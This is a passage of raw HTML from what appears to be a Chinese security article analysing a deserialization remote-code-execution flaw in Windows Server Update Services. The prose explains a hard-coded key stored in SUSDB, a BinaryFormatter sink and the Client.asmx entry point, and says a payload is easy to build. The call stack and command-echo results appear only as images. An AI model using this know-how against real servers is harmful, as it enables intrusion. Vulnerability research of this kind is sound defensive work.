src="https://wechat2rss.xlab.app/img-proxy/?k=6fd3323f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrSuJcWHvql20PgSF4exKgaibZnYvEpuTcrXqdXicdPtDzcIs0dX3nmicKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此外在注册表中也可以找到一些配置参数：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008808" class="rich_pages wxw-img" data-ratio="0.623062015503876" data-type="png" data-w="1032" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=cf248c86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrPrNB0qFbhjbjpFUdlVRUUbVWGGzKCsW1UAqaJVib6t2G9sjib95BLC8A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">回到代码，经过分析发现， </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PlugInId</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">key</span></code><span leaf=""> 的值是通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ExecuteSPGetConfiguration</span></code><span leaf=""> 函数从 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SUSDB</span></code><span leaf=""> 数据库中完成读取的：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008811" class="rich_pages wxw-img" data-ratio="0.5865800865800865" data-type="png" data-w="924" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=177853b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrvicdicuPuQ1GD4W1HOfutbAuBa3VRocrbcMHU3umKFRuxiaHu0HkHFxUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">数据表 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">tbAuthorization</span></code><span leaf=""> 存储默认的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">2</span></code><span leaf=""> 个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PluginID</span></code><span leaf=""> 配置，分别为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DssTargeting</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SimpleTargeting</span></code><span leaf=""> ，对应的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AuthorizationData</span></code><span leaf=""> 也是固定的：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008809" class="rich_pages wxw-img" data-ratio="0.06995073891625615" data-type="png" data-w="1015" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=a4a98f05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrBh1WlicOiaHbzmky1eLbx8DbxnkPBYtVeOQWLqib3sbRIIgkl8Via3bibQg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AuthorizationData</span></code><span leaf=""> 对应的就是加解密的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">key</span></code><span leaf=""> 值，看起来似乎采用了硬编码：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008810" class="rich_pages wxw-img" data-ratio="0.30166503428011754" data-type="png" data-w="1021" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=a19ae379&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrj8STHuyvbJQGiarxM9c74NXK8QzV8oDZbniaAaNBRWudbMESvczMibxzA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">那么触发反序列化的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 就很好构造了。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">RCE复现</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">完整调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008812" class="rich_pages wxw-img" data-ratio="0.2747791952894995" data-type="png" data-w="1019" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=bc1b5614&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrPpvS2Lfjcibrk4libxtV7dyVic3TblHyDdngSicWoymwBrRefFDJuibWYoA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果从 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">EncryptionHelper.DecryptData</span></code><span leaf=""> 反序列化作为起点开始做数据流分析，除了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/ClientWebService/Client.asmx</span></code><span leaf=""> 之外，还可以找到很多其他潜在的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WSDL</span></code><span leaf=""> 触发接口，这里就不深入分析了：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008813" class="rich_pages wxw-img" data-ratio="0.6633954857703631" data-type="png" data-w="1019" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=83e85769&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzroLkhPGzttd2DNVM5MiciaaoN0D4tmiaDNX5yDjIykGSpBBIgn5C5NwOFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">既然是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BinaryFormatter</span></code><span leaf=""> 反序列化，那么可以做成命令回显：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008814" class="rich_pages wxw-img" data-ratio="0.24583741429970618" data-type="png" data-w="1021" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=3e37d85b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrrzzsXuUrR1SVv6Gur8K8WkOENAFiamVIInePOJPqgDAhzLhA5VjXOUA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">疑问</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span 